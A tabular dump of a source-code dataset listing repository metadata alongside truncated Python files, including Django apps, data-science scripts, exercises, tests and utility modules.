blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 220
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 257
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
fbf8c0eedc51f3af0036528997de11c2f317912a | aac6a135e4ca83ffa5f9d6bf2f34ec4810aab114 | /account/migrations/0016_auto_20210528_1505.py | 4f2440357ba740cb9f3e06792638a0fe9bad0648 | [] | no_license | Achraf-Razzouqi/App-E-bank | fe76d9cf5f11a1afb740341ec604871526b5b489 | 64e5c531ba7b728fa239beca0ad2b7763f3d5a54 | refs/heads/main | 2023-05-13T09:54:58.804394 | 2021-06-05T00:45:03 | 2021-06-05T00:45:03 | 373,988,568 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,034 | py | # Generated by Django 3.2.2 on 2021-05-28 14:05
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('account', '0015_auto_20210528_1449'),
]
operations = [
migrations.CreateModel(
name='Conseille'... | [
"46264662+Achraf-Razzouqi@users.noreply.github.com"
] | 46264662+Achraf-Razzouqi@users.noreply.github.com |
ef78bf7f443635496ae6e3e1f78a094d28cd23ea | 6ffc82647c630839f2bbdc0321dcaffc9eda1f34 | /stock_transation_program.py | 979ba5d11acf25dced8dcbd8728563cd39e8a0fb | [] | no_license | satheeshkumars/my_chapter_2_solution_gaddis_book_python | 584cab0c6ba9c8c4ff7a5a2947cdba53f1b943e6 | 64d919fd1f70bcff91cc5cd47420870a68e59106 | refs/heads/master | 2022-02-26T20:43:23.183785 | 2019-10-10T20:59:40 | 2019-10-10T20:59:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 727 | py | SHARES_BOUGHT = 2000
COST_BOUGHT = 40
COMMISSION = 0.03
commission_on_buy = COMMISSION * (COST_BOUGHT * SHARES_BOUGHT)
SHARES_SOLD = 2000
COST_SOLD = 42.75
commission_on_sale = COMMISSION * (SHARES_SOLD * COST_SOLD)
paid = COST_BOUGHT * SHARES_BOUGHT
print('The amount Joe paid for the stock is $', paid)
print(... | [
"noreply@github.com"
] | satheeshkumars.noreply@github.com |
151c1e40e57679713ceedce80cba0891924d7705 | 7eec7ff6a6eebb7cd912159b94c583850b37a015 | /C3PO/Models/Embedding.py | 7a4ea1f9af740970ec8edfb1acac45b94728ad11 | [
"MIT"
] | permissive | tech-srl/c3po | 6dcf0ccc47643c04cc7488699d10b8209c8e17d3 | ce1e002bf9d026c10fbd2c178d454ebb76cb7a94 | refs/heads/master | 2023-05-01T06:23:15.860922 | 2021-05-21T07:18:23 | 2021-05-21T07:18:23 | 296,620,657 | 25 | 7 | null | null | null | null | UTF-8 | Python | false | false | 300 | py | import torch.nn as nn
class Embedding(nn.Module):
def __init__(self, vocab_size, h_dim, padding_idx=0):
super(Embedding, self).__init__()
self.emb = nn.Embedding(vocab_size, h_dim, padding_idx=padding_idx)
def forward(self, inputs):
return self.emb(inputs.long())
| [
"shaked@gmail.com"
] | shaked@gmail.com |
249ddc324320ba1c1f378517052d7ce9b068573b | f663790145e8e286b117ef639b626b492ae9f57a | /device/solver.py | 1b0a1a1d693fcb1b7912d291075ced729c548945 | [
"MIT"
] | permissive | longyangking/Device | 354d1261c094e367e59b67253781ac4cc496f91b | b8cf9fce5a8921dea179b0bb5a58a1a70dfb8f08 | refs/heads/master | 2021-01-17T00:38:53.101151 | 2018-06-02T11:55:53 | 2018-06-02T11:55:53 | 63,251,260 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,278 | py | import numpy as np
from scipy.integrate import ode
from scipy.integrate import odeint
class SymplecticSolver:
'''
Simulation for molecular dynamic system
'''
def __init__(self, nvars, A, B, init_state, order=2):
'''
A(state, t): Knetic function
B(state, t): Potential function
... | [
"longyang_123@yeah.net"
] | longyang_123@yeah.net |
10f288b55b2a6fd86e11600f7f41db43dff2e0c0 | 12cbd2ea83a67f4edce2d31cd337455a6d53d86e | /coding_challenge/apps.py | 713c6aac62ecb740465fdc322287013601d45baa | [] | no_license | shols232/coding | c3b6e1d3610a16ea32ea5ab1a35ed943a05268f5 | 260f44fa2c4caa8f97af33fed231f413a9f71bd0 | refs/heads/master | 2023-08-17T15:43:41.754370 | 2020-06-23T10:53:20 | 2020-06-23T10:53:20 | 274,131,496 | 1 | 3 | null | 2021-09-22T19:17:54 | 2020-06-22T12:31:37 | Python | UTF-8 | Python | false | false | 106 | py | from django.apps import AppConfig
class CodingChallengeConfig(AppConfig):
name = 'coding_challenge'
| [
"akinsolaademolatemitope@gmail.com"
] | akinsolaademolatemitope@gmail.com |
bc6c82fb55445d9be7ff31521c860701bb0ad7c2 | 064795929a2c14642198a496198427262b680455 | /page5.py | c143334c0887539952d0d9f36f7486bca81779b1 | [] | no_license | rajurana20/pythonAtRevature | 98882415c82acfc98149e3835df41cf1730d98eb | afb1bbbbc4503b9ab9dbb409418242b9f6bbdd73 | refs/heads/master | 2023-03-20T21:28:46.194100 | 2021-03-18T12:24:16 | 2021-03-18T12:24:16 | 348,841,394 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,020 | py | #classes
# Multiple classes can be placed in a single file. Classes are placed in multiple files if code becomes very big and need to put the critical parts of the code into multiple files, to make it easily accessible by other team programmers.
# Can multiple object be created from the same class?
# Yes, multiple ob... | [
"ranaraju315@gmail.com"
] | ranaraju315@gmail.com |
b11bcf301a395e9e6b46a09ceae1bcccb5a064bf | 4e8664bcd1e11be648a7f81d1563009273c8e695 | /newsapp/newsapp/urls.py | c94badca8f557aee713272e59fed3a6c566eac74 | [] | no_license | NikhilB123/NetworkSecurityLab1 | b7021a43a6b901938a54c5a0e0e3a9a0e734e5f9 | 8d8bc1cea3056a87168dd5d19fbe5add39289f0f | refs/heads/master | 2022-12-21T20:39:38.733227 | 2020-09-27T20:13:54 | 2020-09-27T20:13:54 | 298,892,022 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,289 | py | """newsapp URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based... | [
"nbodicha@gmail.com"
] | nbodicha@gmail.com |
c0c25b1d782fa904c2f82b0f8281c1d64826f289 | 47f3b32c01cd88cdbaa52b43ed8fe855a454d2d6 | /pandas_lib3.py | 8dea07c5497a2a740e598a0a75f02ac16d037c4c | [] | no_license | Mukesh80530/python_for_datascience | 34e68333a10d412659839331195ec897a7931c09 | f9366f0d23459b3fefb9f5b37d87b8824b10b850 | refs/heads/master | 2023-02-13T09:09:46.379871 | 2021-01-17T14:39:11 | 2021-01-17T14:39:11 | 330,195,065 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 711 | py | import pandas as pd
import numpy as np
cars_data = pd.read_csv('Toyota.csv', index_col=0, na_values=["??","????"])
# print(cars_data.info())
# cars_data['MetColor'] = cars_data['MetColor'].astype('object')
# cars_data['Automatic'] = cars_data['Automatic'].astype('object')
# print(cars_data.info())
# print(cars_data... | [
"mukeshgautam.er@gmail.com"
] | mukeshgautam.er@gmail.com |
f6cd3cd1c08de907d6dc8e70971624f5b8e0b4ef | 4b9bcf0576256238e91bc1fb99d12fca6fa84920 | /core/user/admin.py | 385e1a4f791a45027d8d255b90b7331139fa9787 | [] | no_license | kevinitsDevaluado/CursosOracle | 734c2dac77a96d2e1055efa357af6d072ceec511 | e227b211eaa36515b60361f97c616159abf9e65a | refs/heads/main | 2023-03-07T22:27:01.830666 | 2021-02-20T18:11:18 | 2021-02-20T18:11:18 | 340,718,244 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 122 | py | from django.contrib import admin
# Register your models here.
from core.user.models import User
admin.site.register(User) | [
"kevin.alvarado8502@utc.edu.ec"
] | kevin.alvarado8502@utc.edu.ec |
98a2fbc4649d975e2d377fd1807563c36b2fd8ac | 01f8fc5229a538ed5b6787d469e25738c7f19d05 | /archive_model/HyperParameterTuning.py | a21a6db83648c946b0a9500afc63421c0837a0f0 | [] | no_license | nwihardjo/RL-Trading-Agent | 8f83360557a3427941ac4133d1d294eb3f7d492d | 3904505fb2d5d58f0466892e6f698d1ab6ea2bb5 | refs/heads/master | 2021-10-10T20:56:06.830894 | 2019-01-17T06:55:22 | 2019-01-17T06:55:22 | 161,769,473 | 25 | 12 | null | null | null | null | UTF-8 | Python | false | false | 7,375 | py | # -*- coding:utf-8 -*-
import os
import requests
import itertools
from utils.EnvironmentUtils import build_backtest_environment
from utils.DataUtils import *
import tensorflow as tf
from model_archive.DRL_Portfolio_Isolated_Simple import DRL_Portfolio
from env.zipline_env import AgentTrader
import pickle
start_date_st... | [
"wihardjo.nathaniel@gmail.com"
] | wihardjo.nathaniel@gmail.com |
a44780758c3ce69a3fe69ad94c7f73afc8dd16bd | c51ba90d26e8ee2bb91a98852bc7ee23fa7f4028 | /pytorch_code/main.py | f837062fa5ceb12c59c72218a17f162cffefcd77 | [] | no_license | liuzongzhou/GC-SAN | 3106f05d12e1421c3d4218f29c57624d480754a3 | 6231d3e1a7d4d169d599df71b74c9be91e4e1741 | refs/heads/master | 2023-06-10T02:59:13.666139 | 2021-07-01T09:17:25 | 2021-07-01T09:17:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,605 | py | #!/usr/bin/env python36
# -*- coding: utf-8 -*-
"""
Created on July, 2018
@author: Tangrizzly
"""
import argparse
import pickle
import time
from utils import build_graph, Data, split_validation
from model import *
parser = argparse.ArgumentParser()
parser.add_argument('--dataset', default='diginetica', help='dataset... | [
"johnny12150@gmail.com"
] | johnny12150@gmail.com |
45d28aa10f25871b33de9573c126392639152d09 | 847273de4b1d814fab8b19dc651c651c2d342ede | /.history/Sudoku_II_003_20180618133626.py | 749199c16ddebe39bbc973c2ba32a1bfd48fc600 | [] | no_license | Los4U/sudoku_in_python | 0ba55850afcffeac4170321651620f3c89448b45 | 7d470604962a43da3fc3e5edce6f718076197d32 | refs/heads/master | 2020-03-22T08:10:13.939424 | 2018-07-04T17:21:13 | 2018-07-04T17:21:13 | 139,749,483 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 4,849 | py | from random import randint
# Sudoku1 almost solved
sudoku1 = [
[5, 9, 8, 6, 1, 2, 3, 4, 7],
[2, 1, 7, 9, 3, 4, 8, 6, 5],
[6, 4, 3, 5, 8, 7, 1, 2, 9],
[1, 6, 5, 4, 9, 8, 2, 7, 3],
[3, 2, 9, 7, 6, 5, 4, 1, 8],
[7, 8, 4, 3, 2, 1, 5, 9, 6],
[8, 3, 1, 2, 7, 6, 9, 5, 4],
[4, 7, 2, 8, 5, 9, 6,... | [
"inz.kamil.wos@gmail.com"
] | inz.kamil.wos@gmail.com |
511c9b0d7215e0f07ac854e1432936f04778ae66 | 37c243e2f0aab70cbf38013d1d91bfc3a83f7972 | /pp7TeV/HeavyIonsAnalysis/JetAnalysis/python/jets/ak6PFJetSequence_pPb_mc_bTag_cff.py | 4ad43ec58638c60213bfc117e17f453046685d97 | [] | no_license | maoyx/CMSWork | 82f37256833cbe4c60cb8df0b4eb68ceb12b65e7 | 501456f3f3e0f11e2f628b40e4d91e29668766d5 | refs/heads/master | 2021-01-01T18:47:55.157534 | 2015-03-12T03:47:15 | 2015-03-12T03:47:15 | 10,951,799 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,363 | py |
import FWCore.ParameterSet.Config as cms
from PhysicsTools.PatAlgos.patHeavyIonSequences_cff import *
from HeavyIonsAnalysis.JetAnalysis.inclusiveJetAnalyzer_cff import *
from HeavyIonsAnalysis.JetAnalysis.bTaggers_cff import *
from RecoJets.JetProducers.JetIDParams_cfi import *
ak6PFmatch = patJetGenJetMatch.clone(... | [
"yaxian.mao@cern.ch"
] | yaxian.mao@cern.ch |
b052cc54020a43043bb7d1822c05072b653f6113 | 46f358b954d2d0067a2093ee9006e222f831a8f8 | /tests/datasource/batch_kwarg_generator/test_s3_subdir_reader_generator.py | 474a13f241874c6c833756f7ae698d9226069a0e | [
"Apache-2.0"
] | permissive | dhruvvyas90/great_expectations | b963aa99c683a0da3a9e2b5a1046d2a32f622c7b | fddf5336065c644558c528301e601b9f02be87e2 | refs/heads/main | 2023-01-28T15:26:55.331282 | 2020-12-03T18:52:14 | 2020-12-03T18:52:14 | 319,719,900 | 1 | 0 | Apache-2.0 | 2020-12-08T18:02:33 | 2020-12-08T18:02:32 | null | UTF-8 | Python | false | false | 3,651 | py | import logging
import os
import time
import pandas as pd
import pytest
import requests
from botocore.session import Session
from great_expectations.datasource.batch_kwargs_generator import (
S3SubdirReaderBatchKwargsGenerator,
)
from great_expectations.exceptions import BatchKwargsError
port = 5555
endpoint_uri ... | [
"noreply@github.com"
] | dhruvvyas90.noreply@github.com |
df4c36a1dc5bc53bae474b0786ee097f35deb401 | 69be72354ed9382f36ec2264d5e4b60cdf71f5e9 | /01_hello.py | 909b04a52c610505ed440ed6878ec74ac377c176 | [] | no_license | trungams/mcgill-comp204-example-code | 0e4a327684097044e105e67a0f16dd8294320e0f | 7a62f1becfd9f33c499ec60251b04557743b4cfe | refs/heads/master | 2020-05-18T02:32:54.484052 | 2019-04-29T18:00:43 | 2019-04-29T18:00:43 | 184,119,272 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 589 | py | #!/usr/bin/env python3
"""
A simple program that prints the message Hello, world!
"""
if __name__ == '__main__':
# prints the message hello
print("Hello, world!") # prints message
# Comments in Python starts with a '#'
"""However, developers takes advantage of triple-quoted string literals
... | [
"vttrung12@gmail.com"
] | vttrung12@gmail.com |
f5c421078f74367978d8ce242ab1cd6b034f6cfc | 5c69c98a0d6240532593b725ed9ec7b66145bc64 | /products/admin.py | f19c11bf199695b871b2781a18d9b85cac344ad8 | [] | no_license | Galiaph/django_test | 9a97447f96c21320b5f9943cb9a5f0da6937a20c | e7153dd318ce65d627b9f2596bf39db5a65ec782 | refs/heads/master | 2020-03-07T19:10:49.833654 | 2018-04-17T20:17:07 | 2018-04-17T20:17:07 | 127,664,423 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 590 | py | from django.contrib import admin
from .models import *
class ProductImageInline(admin.TabularInline):
model = ProductImage
extra = 0
class ProductAdmin(admin.ModelAdmin):
list_display = [field.name for field in Product._meta.fields]
inlines = [ProductImageInline]
class Meta:
model = Produ... | [
"galiaph@gmail.com"
] | galiaph@gmail.com |
c77e5dd5865c4b2fa11a7b2cf99bdae5d46cb5f3 | 6602091e12f9725d2463589a64d7f661e25d65d7 | /src/input.py | 4ff4fe8098e90945e9ab8fefeb083bbbb184e6b7 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | xBorox1/D-Wave-VRP | e9eb62998f2bb34130f534b93c46a1a33069f414 | dd9b51c812d4f5607dae6ce3ac528d013e5a6f27 | refs/heads/master | 2023-03-13T23:39:15.384346 | 2021-03-06T09:21:54 | 2021-03-06T09:21:54 | 284,447,637 | 8 | 7 | null | 2021-03-06T09:21:55 | 2020-08-02T11:25:27 | Python | UTF-8 | Python | false | false | 4,641 | py | import networkx as nx
import csv
import math
from itertools import product
from vrp_problem import VRPProblem
import numpy as np
# Creates directed graph from file.
# Format : id1|id2|cost
def create_graph_from_csv(path):
g = nx.DiGraph(directed=True)
with open(path, mode='r') as e_infile:
reader = cs... | [
"M.Borowski282@gmail.com"
] | M.Borowski282@gmail.com |
a853bd82905b1a57a3ffd8bd9d2f4f90ffd696ae | c95021e80235610f448c31318a6a79fef1662b6f | /Tarea2/FileCreator.py | a42f293f9698021d2ef9117c72c181cd8c2f439f | [] | no_license | diegobano/Inteligencia | c02c5941c33b5d71bc0f45d43f06bb81be04a5fe | 90f2b0a8b27e9b8088ae00643b24af91475cef42 | refs/heads/master | 2021-01-20T13:26:13.645567 | 2017-06-18T04:40:45 | 2017-06-18T04:40:45 | 90,488,176 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,602 | py | import numpy as np
import random
db = np.zeros((5500, 49))
f = open("sensorless_tarea2.txt", "r")
for (i, line) in enumerate(f):
db[i] = line.split(",")
f.close()
db_pbs = [0] * 11
for i in range(len(db)):
db_pbs[int(db[i, 48])-1] += 1
random.shuffle(db)
ex = db[0:(len(db)/10)*8,:]
ex_pbs = [0] * 11
test = ... | [
"diego.r.bano@hotmail.com"
] | diego.r.bano@hotmail.com |
907d7eef1ed604a686dd3e46f859509d4d807ec7 | 479ed684323748ca54ce0ab995945b19777a2e86 | /src/corpus.py | b3778b8632a76bf997e3fc78e3107d77cb2eb370 | [] | no_license | cerisara/covid | c0d92d500bbce39c7baf3f68cc67fdef67d6de4b | 56261198556e2a0c71fb775c0ef8ba003060a6a2 | refs/heads/master | 2021-05-18T00:55:39.919731 | 2020-03-29T17:26:21 | 2020-03-29T17:26:21 | 251,034,554 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,264 | py | import glob
import json
curfile=""
def loadData(full=False):
global curfile
if full:
files = []
files += [f for f in glob.glob("/data/xtof/corpus/covid/biorxiv_medrxiv/*.json")]
files += [f for f in glob.glob("/data/xtof/corpus/covid/comm_use_subset/*.json")]
files += [f for f ... | [
"cerisara@loria.fr"
] | cerisara@loria.fr |
1b7274303f6149db5acf42528a46f785df6e2c5e | 64de57b0fdce14bba94296191876bdb655e577b9 | /Part 3 - Classification/Section 18 - Naive Bayes/naive_bayes.py | 174f2ae79ff689bd1764a60d75c3b833edc3dd5b | [] | no_license | cszatmary/machine-learning-exercises | cfb341aaec4cf9dc1580ad49a28738a0b399d674 | 89a6b319b2bcadf3cf5ad1c18c1b4513b0878251 | refs/heads/master | 2021-09-22T05:20:20.214082 | 2018-09-05T21:36:38 | 2018-09-05T21:36:38 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,957 | py | # Naive Bayes
# Importing the libraries
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.naive_bayes import GaussianNB
from sklearn.metrics import confusion_matrix
from matplotlib.co... | [
"cs@christopherszatmary.com"
] | cs@christopherszatmary.com |
83b0d45f575965f1b527a445029b7871e3ba7cf0 | 3b45ba8255f9ecbca5235182b492dea7345f5f12 | /distributedwordreps.py | db4031e5585f241f520845285544baf11e904c4a | [] | no_license | tsnaomi/collaborative-reference | 812228664b7a9953abb687dfc0f768f5b19a8116 | c8c20810c4f4d154ecbbea6dd1bb6e52e437259e | refs/heads/master | 2021-01-21T13:04:11.206092 | 2016-04-21T00:38:36 | 2016-04-21T00:38:36 | 36,094,691 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,592 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# For CS224u, Stanford, Spring 2015 (Chris Potts)
# Exported from distributedwordreps.ipynb, which can
# also be viewed in HTML: distributedwordreps.html
######################################################################
import os
import sys
import csv
import copy
im... | [
"ciyang@server.fake"
] | ciyang@server.fake |
d4fb2ee822d6c453cf42ce98fa23843e9c9ea94a | 9b4b506bb062564f0016162f9862ea1d111aa94c | /api2.py | 5bab8bb301ab0f184d17ccbc24a7805a41e74b01 | [] | no_license | Tanay-27/paymentapi | 6a95a464583ec35004315f672658073bf53d249b | 356de0339112cc7d178dd4de1d38eda327ab5055 | refs/heads/master | 2022-11-06T22:56:38.298434 | 2020-07-13T15:06:21 | 2020-07-13T15:06:21 | 278,343,107 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 818 | py | #from PIL import Image
from final_year.instamojoapi.api1 import createPayment
import qrcode
# Enter amount and purpose,
# in deployment stage this will be automated
#amt = float(input('Enter Amount: '))
#pur = input('Enter Purpose: ')
def qrshow(pur,amt):
amt = 25
pur = "Med"
# calling the createPayment f... | [
"tanayshah@live.com"
] | tanayshah@live.com |
3aff2aaf8f1acb9ba1cecfd827833d7465f5f848 | 23a3d0433bd53f1fd69a8397ee310913038980ea | /06_lesson_5/quiz/lookup.py | 33ace1d20503a122122d5fbb675fc5140599ec69 | [] | no_license | lisalisadong/cs-101 | 3ce2f151386a153770de266624f47879f7796fd3 | 6a001aa27100ce76e7dfa5e6a3528607d3280121 | refs/heads/master | 2020-05-19T23:00:25.857863 | 2015-01-06T06:24:01 | 2015-01-06T06:24:01 | 26,845,527 | 16 | 15 | null | null | null | null | UTF-8 | Python | false | false | 1,094 | py | # Define a procedure,
# hashtable_lookup(htable,key)
# that takes two inputs, a hashtable
# and a key (string),
# and returns the value associated
# with that key.
def hashtable_lookup(htable,key):
for e in hashtable_get_bucket(htable,key):
if e[0] == key:
return e[1]
return None
def has... | [
"qingxiao.dong@gmail.com"
] | qingxiao.dong@gmail.com |
00e7ce19129243ed2830a59721ab18112af72986 | aad5204456789f32db0e7b63b668910a508e59cf | /carapp/test.py | 718cdcbd8ec6f1047527d922e34f7beb02f22075 | [] | no_license | pc660/CarApp | bc08969d235176b97a2d9f925d463a34e36ebfa6 | 9f3d8a5ec44f70fed9468b3e6fa3bd5079a2e438 | refs/heads/master | 2021-01-10T05:25:11.223926 | 2015-06-18T18:44:35 | 2015-06-18T18:44:35 | 36,813,715 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 954 | py | from prototype.models import *
from prototype.views import *
# Create user
user = User(username="test1@gmail.com")
user.set_password("111")
user.save()
appuser = AppUser.objects.create(user=user, usertype="0", state="ca", city="mv",
address="home")
appuser.save()
# Create token
token = Token(username="test1@gmail.co... | [
"pc660@hotmail.com"
] | pc660@hotmail.com |
00a8bb3132b8b95eef7a93ce9774764910f2044c | 7aefa20b27474e66e3815d99863c3ee0d8b7a5d0 | /18.1.py | 5e8b53b0d45bae893462f37eac89443824a29d06 | [] | no_license | Christine1225/Leetcode_py3 | 47a16837b3c7b0677a5c40990d4121a906f9833b | 34e10eaf1ec32bc928acb9fa28659c28626a9564 | refs/heads/master | 2020-03-24T17:33:23.510234 | 2019-03-06T09:26:46 | 2019-03-06T09:26:46 | 142,863,082 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,700 | py | # -*- coding: utf-8 -*-
"""
Created on Mon Aug 13 14:13:04 2018
@author: Abigail
"""
class Solution:
def find_n_sum(self, sorted_nums, target, n, result_prefix, results):
nums_len = len(sorted_nums)
if n > nums_len:
return -1
## as sorted_nums is a sorted list, we can s... | [
"zhuyu@megvii.com"
] | zhuyu@megvii.com |
b16fc1d508f96b92a9f454b018a0454764142397 | e86e81152d2c10135cb283d979e53682bcf18182 | /Code/train_parking.py | 1903d46a85f2698768a7837b9816fbf89cbe4f94 | [] | no_license | hachemmosbah/StageCerema | 10ef433492478b7b66b08bd763eae7e45789b455 | 92a84bca44dba6f5c8c35ecb9d963ee7c57eb32d | refs/heads/master | 2023-05-01T18:16:11.573322 | 2021-05-18T15:28:59 | 2021-05-18T15:28:59 | 245,976,922 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,855 | py | #!/usr/bin/env python
# coding: utf-8
# In[1]:
from keras.layers import Conv2D, MaxPooling2D, ZeroPadding2D
from keras.layers import Dense, Activation, Dropout, Flatten
from keras import optimizers
from keras.models import Sequential
from keras.preprocessing.image import ImageDataGenerator
import numpy as np
from m... | [
"hachem.mosbah.data@gmail.com"
] | hachem.mosbah.data@gmail.com |
0bc17732fcd3b35824193d0f5e0fde73fd55f3b0 | 308342069e63736d3d1f56f914a6122d06efee0d | /shell/get_plan_conf.py | cbcd0aa70555c6c2448cae981d5931c49827ea58 | [] | no_license | sengeiou/effect_platform | 1876d78fe06b664f439df57750b5e043b634c976 | 2186ad4993c988dac035771ea6af34e34c7f4abe | refs/heads/master | 2021-06-03T13:29:48.531514 | 2016-08-03T05:57:00 | 2016-08-03T05:57:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,144 | py | #!/usr/bin/env python
# -*- encoding:utf-8 -*-
'''
从admin_host获取配置文件列表,保存到本地
'''
import os
import sys
from os import path
import optparse
from datetime import datetime
from datetime import timedelta
from ep_config import *
# 全局变量
def get_options():
'''解析程序执行传入的参数
'''
p = optparse.OptionParser(usage="usag... | [
"sav2008@gmail.com"
] | sav2008@gmail.com |
1af1d409b84f3dccc002b5fbea7fb658f5c0cdd1 | 3011847d0c09a414250df6208005921da28b3d36 | /pavement.py | ec63ffe1790a4cf8e2f781392005cf1f1fad7871 | [
"MIT"
] | permissive | ihtwang/Bank | 51530a1e8c7e44ae556a8ee054da0a0e42230f01 | e97e23b30a3fead16dfbfb35e60f528ec060131b | refs/heads/master | 2021-08-31T03:48:24.479844 | 2017-12-20T08:36:44 | 2017-12-20T08:36:44 | 114,862,824 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 473 | py | from paver.tasks import task, BuildFailure
from paver.easy import sh,needs
@task
def unit_tests():
sh('nosetests --with-coverage test/unit')
@task
def lettuce_tests():
sh('lettuce test/bdd')
@task
def run_pylint():
try:
sh('pylint --msg-template="{path}:{line}: \
[{msg_id}({symbol}), {obj... | [
"iht_wang@126.com"
] | iht_wang@126.com |
638eacd3d24e97292b989c4546def4130f7fc519 | 5ead4735845e6e4488a1825c903cebda2b963f71 | /seg_intersection_test.py | 501c3ca2dc9b8f9f4fe6c344d895a898853a70f4 | [] | no_license | intdxdt/robustpy | b734d883a57f268c76197f3d365bf406e1709580 | 784ab76534ad54c5eb3a6f98abeabbd6bd017e48 | refs/heads/master | 2020-12-03T02:31:51.847738 | 2017-10-15T05:24:49 | 2017-10-15T05:24:49 | 95,951,361 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,838 | py | import unittest
from det import det2
from random import random
from rsum import robust_sum as rsum
from compare import robust_compare as cmp
from rprod import robust_product as rprod
from subtract import robust_subtract as rsub
from validate import validate_sequence as validate
from seg_intersection import segment_int... | [
"titus.intdxdt@gmail.com"
] | titus.intdxdt@gmail.com |
19b844921393bc5dad52f8d3e705076a194fd0d0 | d11d4907936ddf1ae2ab37385278295cad8f06e0 | /test/functional/feature_logging.py | 1cf30016a7c5233b2696c72ca8acfd75c85d521e | [
"MIT"
] | permissive | LIMXTEC/BitSend | a2943ba8ad9b2d3b57aec0f99ae3f779e626a170 | 925c258f9976cab08169c67d8e530c0339905e46 | refs/heads/master-0.17 | 2022-05-03T10:02:10.976385 | 2021-03-08T14:29:49 | 2021-03-08T14:29:49 | 39,961,776 | 48 | 65 | MIT | 2021-03-08T14:29:50 | 2015-07-30T16:54:11 | C++ | UTF-8 | Python | false | false | 2,980 | py | #!/usr/bin/env python3
# Copyright (c) 2017-2018 The Bitsend Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test debug logging."""
import os
from test_framework.test_framework import BitsendTestFramework
from ... | [
"joshaf.est@gmail.com"
] | joshaf.est@gmail.com |
dac228f8927d7c13a5a6fb563f080cd23d2323bf | 84b2a3f79458db00407d03958666317c4b7d33aa | /src/run.py | 467c5bb494434e257411dd919b3ceed54fa31515 | [] | no_license | kych02141/bnet-account-tracker | 1fa19dd01e23a6fe23c316a584a64f1a17b6da09 | 4ebf5c8141b9376df7e7d21a092fb334ec83372e | refs/heads/master | 2023-08-26T13:03:08.761589 | 2021-05-31T03:57:26 | 2021-05-31T03:57:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,223 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
import pyperclip
import time
from account import Account, BanStatus
from console import clear
from profilescraper import get_career_profile
from tabulate import tabulate
from threading import Thread
LEGEND_BAN_SEASONAL = '†'
LEGEND_BAN_PERMANENT = '††'
def ma... | [
"nate.shoffner@gmail.com"
] | nate.shoffner@gmail.com |
758d3add23ff4cc75c3f3557a759800c70585c20 | 27e890f900bd4bfb2e66f4eab85bc381cf4d5d3f | /plugins/doc_fragments/files.py | a3723db249284fc0990a043729d80d3b2ea6bec2 | [] | no_license | coll-test/notstdlib.moveitallout | eb33a560070bbded5032385d0aea2f3cf60e690b | 0987f099b783c6cf977db9233e1c3d9efcbcb3c7 | refs/heads/master | 2020-12-19T22:28:33.369557 | 2020-01-23T18:51:26 | 2020-01-23T18:51:26 | 235,865,139 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,706 | py | # -*- coding: utf-8 -*-
# Copyright: (c) 2014, Matt Martz <matt@sivel.net>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
class ModuleDocFragment(object):
# Standard files documentation fragment
# Note: mode is overridden by the copy and template modules so if ... | [
"wk@sydorenko.org.ua"
] | wk@sydorenko.org.ua |
